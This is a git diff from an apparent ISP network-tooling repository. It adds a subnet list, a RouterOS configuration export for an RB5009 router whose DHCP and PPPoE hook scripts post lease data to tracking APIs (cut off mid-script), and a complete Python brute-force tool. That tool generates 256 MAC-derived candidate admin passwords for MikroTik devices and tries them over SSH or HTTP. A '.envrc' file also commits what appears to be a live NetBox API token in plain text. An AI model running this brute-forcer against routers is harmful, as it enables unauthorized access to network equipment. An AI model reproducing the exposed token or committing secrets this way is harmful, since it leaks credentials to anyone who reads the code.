4. **No Conflicts**: Each site has its own unique management subnet with no overlaps
|
||||||
|
|
||||||
|
## Available Management Subnets
|
||||||
|
|
||||||
|
The following /20 subnets within 10.10.0.0/16 are still available for future sites:
|
||||||
|
- 10.10.0.0/20 (10.10.0.0 - 10.10.15.255)
|
||||||
|
- 10.10.32.0/20 (10.10.32.0 - 10.10.47.255)
|
||||||
|
- 10.10.80.0/20 (10.10.80.0 - 10.10.95.255)
|
||||||
|
- 10.10.112.0/20 (10.10.112.0 - 10.10.127.255)
|
||||||
|
- 10.10.176.0/20 (10.10.176.0 - 10.10.191.255)
|
||||||
|
- 10.10.192.0/20 (10.10.192.0 - 10.10.207.255)
|
||||||
|
- 10.10.208.0/20 (10.10.208.0 - 10.10.223.255)
|
||||||
|
- 10.10.224.0/20 (10.10.224.0 - 10.10.239.255)
|
||||||
|
- 10.10.240.0/20 (10.10.240.0 - 10.10.255.255)
|
||||||
248
mikrotik-brutefast.py
Normal file
248
mikrotik-brutefast.py
Normal file
|
|
@ -0,0 +1,248 @@
|
||||||
|
"""
|
||||||
|
MikroTik RouterBoard Targeted Password Brute Force
|
||||||
|
|
||||||
|
Based on reverse engineered algorithm analysis:
|
||||||
|
- Only tries 256 possible passwords (one per MAC[0] value)
|
||||||
|
- Assumes 0xD0 and 0xFF are fixed constants
|
||||||
|
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
|
||||||
|
- Takes ~2-5 minutes instead of thousands of years!
|
||||||
|
|
||||||
|
Algorithm:
|
||||||
|
PWD[0] = MAC[0] XOR 0xD0
|
||||||
|
PWD[1] = MAC[1]
|
||||||
|
PWD[2] = NOT(MAC[2])
|
||||||
|
PWD[3] = 0xFF
|
||||||
|
|
||||||
|
USAGE: Only use on devices you own or have authorization to access.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
|
||||||
|
class MikroTikTargetedBruteForce:
|
||||||
|
"""Targeted brute force for MikroTik passwords."""
|
||||||
|
|
||||||
|
def __init__(self, mac_address, host, port=22, use_http=False, timeout=5):
|
||||||
|
"""
|
||||||
|
Initialize the targeted brute force.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
mac_address (str): MAC address of device (e.g., "18:FD:74:F9:04:FC")
|
||||||
|
host (str): IP address of device
|
||||||
|
port (int): Port (22 for SSH, 80 for HTTP)
|
||||||
|
use_http (bool): Use HTTP instead of SSH
|
||||||
|
timeout (int): Connection timeout in seconds
|
||||||
|
"""
|
||||||
|
self.mac_address = mac_address.upper()
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.use_http = use_http
|
||||||
|
self.timeout = timeout
|
||||||
|
self.username = "admin"
|
||||||
|
self.attempts = 0
|
||||||
|
self.found_password = None
|
||||||
|
|
||||||
|
def parse_mac(self, mac_string):
|
||||||
|
"""Parse MAC address string into bytes."""
|
||||||
|
parts = mac_string.upper().split(":")
|
||||||
|
if len(parts) != 6:
|
||||||
|
raise ValueError(f"Invalid MAC address: {mac_string}")
|
||||||
|
try:
|
||||||
|
return [int(part, 16) for part in parts]
|
||||||
|
except ValueError:
|
||||||
|
raise ValueError(f"Invalid MAC address format: {mac_string}")
|
||||||
|
|
||||||
|
def generate_password_for_mac_byte_0(self, mac_byte_0):
|
||||||
|
"""
|
||||||
|
Generate password for a specific MAC[0] value.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
mac_byte_0 (int): Value for MAC[0] (0-255)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: Password in format "xxxx-xxxx"
|
||||||
|
"""
|
||||||
|
# Use actual MAC bytes for 1-3
|
||||||
|
mac_bytes = self.parse_mac(self.mac_address)
|
||||||
|
b0, b1, b2, b3 = mac_bytes[0], mac_bytes[1], mac_bytes[2], mac_bytes[3]
|
||||||
|
|
||||||
|
# But vary b0 for brute forcing
|
||||||
|
pwd_byte_0 = mac_byte_0 ^ 0xD0
|
||||||
|
pwd_byte_1 = b1
|
||||||
|
pwd_byte_2 = (~b2) & 0xFF # NOT operation
|
||||||
|
pwd_byte_3 = 0xFF
|
||||||
|
|
||||||
|
hex_string = f"{pwd_byte_0:02x}{pwd_byte_1:02x}{pwd_byte_2:02x}{pwd_byte_3:02x}"
|
||||||
|
return f"{hex_string[:4]}-{hex_string[4:]}"
|
||||||
|
|
||||||
|
def try_password_ssh(self, password):
|
||||||
|
"""Try connecting via SSH."""
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
except ImportError:
|
||||||
|
print("Error: paramiko not installed. Install with: pip install paramiko")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
|
||||||
|
client.connect(
|
||||||
|
self.host,
|
||||||
|
port=self.port,
|
||||||
|
username=self.username,
|
||||||
|
password=password,
|
||||||
|
timeout=self.timeout,
|
||||||
|
allow_agent=False,
|
||||||
|
look_for_keys=False,
|
||||||
|
)
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
except paramiko.AuthenticationException:
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_password_http(self, password):
|
||||||
|
"""Try connecting via HTTP."""
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
from requests.auth import HTTPBasicAuth
|
||||||
|
except ImportError:
|
||||||
|
print("Error: requests not installed. Install with: pip install requests")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = requests.get(
|
||||||
|
f"http://{self.host}:{self.port}/",
|
||||||
|
auth=HTTPBasicAuth(self.username, password),
|
||||||
|
timeout=self.timeout,
|
||||||
|
)
|
||||||
|
return response.status_code == 200
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_password(self, password):
|
||||||
|
"""Try a password."""
|
||||||
|
if self.use_http:
|
||||||
|
return self.try_password_http(password)
|
||||||
|
else:
|
||||||
|
return self.try_password_ssh(password)
|
||||||
|
|
||||||
|
def brute_force(self):
|
||||||
|
"""Run the targeted brute force (256 attempts)."""
|
||||||
|
print("MikroTik Targeted Password Brute Force")
|
||||||
|
print("=" * 50)
|
||||||
|
print()
|
||||||
|
print(f"MAC Address: {self.mac_address}")
|
||||||
|
print(f"Target: {self.host}:{self.port}")
|
||||||
|
print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
|
||||||
|
print()
|
||||||
|
print("Algorithm:")
|
||||||
|
print(" PWD[0] = MAC[0] XOR 0xD0")
|
||||||
|
print(" PWD[1] = MAC[1]")
|
||||||
|
print(" PWD[2] = NOT(MAC[2])")
|
||||||
|
print(" PWD[3] = 0xFF")
|
||||||
|
print()
|
||||||
|
print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
|
||||||
|
print()
|
||||||
|
|
||||||
|
mac_bytes = self.parse_mac(self.mac_address)
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
for mac_byte_0 in range(256):
|
||||||
|
password = self.generate_password_for_mac_byte_0(mac_byte_0)
|
||||||
|
self.attempts += 1
|
||||||
|
|
||||||
|
if self.attempts % 32 == 1 or self.attempts == 1:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||||
|
print(
|
||||||
|
f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
|
||||||
|
f"Trying: {password}"
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.try_password(password):
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
print()
|
||||||
|
print("=" * 50)
|
||||||
|
print(f"[+] SUCCESS! Password found!")
|
||||||
|
print(f"[+] Password: {password}")
|
||||||
|
print(f"[+] Total attempts: {self.attempts}")
|
||||||
|
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
||||||
|
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||||
|
print("=" * 50)
|
||||||
|
self.found_password = password
|
||||||
|
return password
|
||||||
|
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
print()
|
||||||
|
print("=" * 50)
|
||||||
|
print("[-] Brute force complete. Password not found.")
|
||||||
|
print(f"[-] This means:")
|
||||||
|
print(f" 1. The constants 0xD0 or 0xFF might not be fixed")
|
||||||
|
print(f" 2. The algorithm might be different")
|
||||||
|
print(f" 3. Or the device might have a different password algorithm")
|
||||||
|
print(f"[*] Total attempts: {self.attempts}/256")
|
||||||
|
print(f"[*] Time elapsed: {elapsed:.2f} seconds")
|
||||||
|
print("=" * 50)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Main entry point."""
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="MikroTik Targeted Password Brute Force (256 attempts)",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
python script.py 18:FD:74:F9:04:FC 192.168.88.1
|
||||||
|
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
|
||||||
|
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
|
||||||
|
""",
|
||||||
|
)
|
||||||
|
|
||||||
|
parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
|
||||||
|
parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
|
||||||
|
parser.add_argument(
|
||||||
|
"--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--method",
|
||||||
|
choices=["ssh", "http"],
|
||||||
|
default="ssh",
|
||||||
|
help="Connection method (default: ssh)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
|
||||||
|
)
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Validate MAC address
|
||||||
|
try:
|
||||||
|
brute_forcer = MikroTikTargetedBruteForce(
|
||||||
|
args.mac,
|
||||||
|
args.host,
|
||||||
|
port=args.port,
|
||||||
|
use_http=(args.method == "http"),
|
||||||
|
timeout=args.timeout,
|
||||||
|
)
|
||||||
|
except ValueError as e:
|
||||||
|
print(f"Error: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
# Run brute force
|
||||||
|
password = brute_forcer.brute_force()
|
||||||
|
|
||||||
|
if password:
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|
||||||
1
mikrotik-tool-rs
Submodule
1
mikrotik-tool-rs
Submodule
|
|
@ -0,0 +1 @@
|
||||||
|
Subproject commit 33ea23a718ee57a8319e292514ef76ce107a3527
|
||||||
1
mikrotik-tool/.envrc
Normal file
1
mikrotik-tool/.envrc
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
export NETBOX_TOKEN=nbt_vrxmaJM2EvzT.h5dbqCtfKfs6aTT389o6F1fRjfVp6F4ToPOBmEoW
|
||||||
500
mikrotik-tool/494.rsc
Normal file
500
mikrotik-tool/494.rsc
Normal file
|
|
@ -0,0 +1,500 @@
|
||||||
|
# 2026-05-08 17:46:02 by RouterOS 7.21.4
|
||||||
|
# software id = K4QG-8NQV
|
||||||
|
#
|
||||||
|
# model = RB5009UG+S+
|
||||||
|
# serial number = HC907K5P55K
|
||||||
|
/interface bridge
|
||||||
|
add name=494 port-cost-mode=short
|
||||||
|
add name=management port-cost-mode=short
|
||||||
|
/interface ethernet
|
||||||
|
set [ find default-name=ether1 ] comment=ether1 l2mtu=1580
|
||||||
|
set [ find default-name=ether2 ] comment=ether2 l2mtu=1580 name=ether2-climax
|
||||||
|
set [ find default-name=ether3 ] comment=ether3 l2mtu=1580
|
||||||
|
set [ find default-name=ether4 ] comment=ether4 l2mtu=1580
|
||||||
|
set [ find default-name=ether5 ] comment=ether5 l2mtu=1580
|
||||||
|
set [ find default-name=ether6 ] comment=ether6 l2mtu=1580
|
||||||
|
set [ find default-name=ether7 ] comment=ether7 l2mtu=1580
|
||||||
|
set [ find default-name=ether8 ] comment=ether8 l2mtu=1580
|
||||||
|
set [ find default-name=sfp-sfpplus1 ] l2mtu=1580
|
||||||
|
/interface vlan
|
||||||
|
add interface=ether5 name=vlan10_ether5 vlan-id=10
|
||||||
|
add interface=ether6 name=vlan10_ether6 vlan-id=10
|
||||||
|
add interface=ether7 name=vlan10_ether7 vlan-id=10
|
||||||
|
add interface=ether8 name=vlan10_ether8 vlan-id=10
|
||||||
|
/interface wireless security-profiles
|
||||||
|
set [ find default=yes ] supplicant-identity=MikroTik
|
||||||
|
/ip ipsec proposal
|
||||||
|
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
|
||||||
|
aes-256-cbc,aes-128-cbc pfs-group=modp2048
|
||||||
|
/ip pool
|
||||||
|
add name=cgnat ranges=100.64.160.1-100.64.174.254
|
||||||
|
add name=public ranges=204.110.188.65-204.110.188.93
|
||||||
|
/ip dhcp-server
|
||||||
|
add add-arp=yes address-pool=cgnat interface=494 lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=dhcp1
|
||||||
|
/ip pool
|
||||||
|
add name=mgmt next-pool=public ranges=10.10.160.1-10.10.174.254
|
||||||
|
/ip dhcp-server
|
||||||
|
add add-arp=yes address-pool=mgmt interface=management lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=dhcp2
|
||||||
|
/ip smb users
|
||||||
|
set [ find default=yes ] disabled=yes
|
||||||
|
/ppp profile
|
||||||
|
set *0 dns-server=204.110.191.240,204.110.191.250 local-address=\
|
||||||
|
204.110.188.94 remote-address=public use-upnp=no
|
||||||
|
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
|
||||||
|
local-address=100.64.175.254 name=494 on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
